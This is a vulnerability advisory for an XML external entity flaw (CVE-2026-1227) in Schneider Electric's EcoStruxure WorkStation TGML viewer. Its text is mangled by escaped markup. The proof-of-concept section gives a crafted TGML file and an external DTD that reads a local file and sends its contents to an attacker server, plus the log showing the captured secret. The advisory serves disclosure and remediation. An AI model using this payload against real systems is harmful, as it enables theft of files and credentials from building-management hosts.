Affected Version<\/strong>: 7.0.2.348
Vulnerability Type<\/strong>: Improper Restriction of XML External Entity Reference (CWE-611)
Security Risk<\/strong>: CRITICAL
Vendor<\/strong>: Schneider Electric
Vendor URL<\/strong>: https:\/\/ecostruxure-building-help.se.com\/bms\/topics\/show.castle?id=8064&locale=en-US&productversion=7.0<\/a>
Vendor acknowledged vulnerability<\/strong>: Yes
Vendor Status<\/strong>: Fixed
CVE Number<\/strong>: CVE-2026-1227<\/a>
CVE Link<\/strong>: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-1227
Advisory ID<\/strong>: usd-2025-45<\/p>\n
Description<\/h3>\n
The interface allows processing of external XML entities. The inclusion of local files exposes the highest potential risk. In the following excerpt, a crafted TGML<\/strong> document is shown, which contains external entities:<\/p>\n On the attacker server, the following scanner.dtd<\/strong> file was hosted on port 8081:<\/p>\n To prove this vulnerabilty, the following PoC file was created on the host that runs WorkStation:<\/p>\n A malicious Graphic is now created in WorkStation using the crafted TGML<\/strong> document shown above:<\/p>\n When inspecting the newly created Graphic in WorkStation, it shows an error message as shown below:<\/p>\n However, there was a callback on port 1337 of the attacker server containing the content of the previously created PoC file in the called endpoint:<\/p>\n It is recommended to disable the processing of external entities, if this feature is not explicitly required.
Due to this, the tgml-viewer accepts malicious Graphics in TGML<\/strong> format with external entities enabled, allowing attackers to reference local files or remote resources.<\/p>\n
Sensitive data, e.g. password hashes, residing on the server can possibly be accessed by an adversary.
Additionally, an attacker may be able to circumvent network segmentation mechanisms or firewalls when using URLs in the entity, because requests are sent by the targeted server and not by the attacker's host.
One possible goal here might be to perform a scan of the internal network.
This can be achieved by examining the results of the manipulated queries.
Furthermore, the targeted system can be abused to launch denial of service attacks (DoS) on third party systems by injecting a large number of external references into the request.<\/p>\nProof of Concept<\/h3>\n
<?xml version=\"1.0\"?>
<!DOCTYPE tgml [
<!-- External entity - to test server -->
<!ENTITY % externalHttp SYSTEM \"[http:\/\/154.5.45.18:8081\/scanner.dtd\">]()
%externalHttp;]>
<?tgml version=\"2.0\"?>
<Tgml Background=\"#E0E0E0\" ComponentCounter=\"4\" GridSize=\"10\">
<!-- External HTTP entity -->
<Text FontFamily=\"Arial\" FontSize=\"20\" FontStyle=\"Normal\"
FontWeight=\"Normal\" HorizontalAlign=\"Left\" Left=\"0.0\"
Opacity=\"1.0\" TextDecoration=\"None\" Top=\"10.0\"
VerticalAlign=\"Top\">
External DTD Test
<\/Text>
<\/Tgml><\/pre>\n<!ENTITY % f SYSTEM \"file:\/\/\/C:\/Users\/Public\/secret.txt\">
<!ENTITY % eval \"<!ENTITY % show SYSTEM '[http:\/\/154.5.45.18:1337\/%f;'>\">]()
%eval;
%show;<\/pre>\nPS C:\\\\> cat C:\/Users\/Public\/secret.txt
V3ry-S3cret<\/pre>\n![\"\"](\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2026\/06\/new_object.png\")
<\/p>\n![\"\"](\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2026\/06\/select_object_type.png\")
<\/p>\n![\"\"](\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2026\/06\/choose_crafted_tgml.png\")
<\/p>\n![\"\"](\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2026\/06\/error_message_when_opening.png\")
<\/p>\n$ python3 -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http:\/\/0.0.0.0:1337\/) ...
154.5.45.17 - - [04\/Sep\/2025 13:40:14] code 404, message File not found
154.5.45.17 - - [04\/Sep\/2025 13:40:14] \"GET \/V3ry-S3cret HTTP\/1.1\" 404 -<\/pre>\nFix<\/h3>\n
As an alternative, requests to external entities may be restricted, e.g. by using a list of allowed resources or hosts.<\/p>\nReferences<\/h3>\n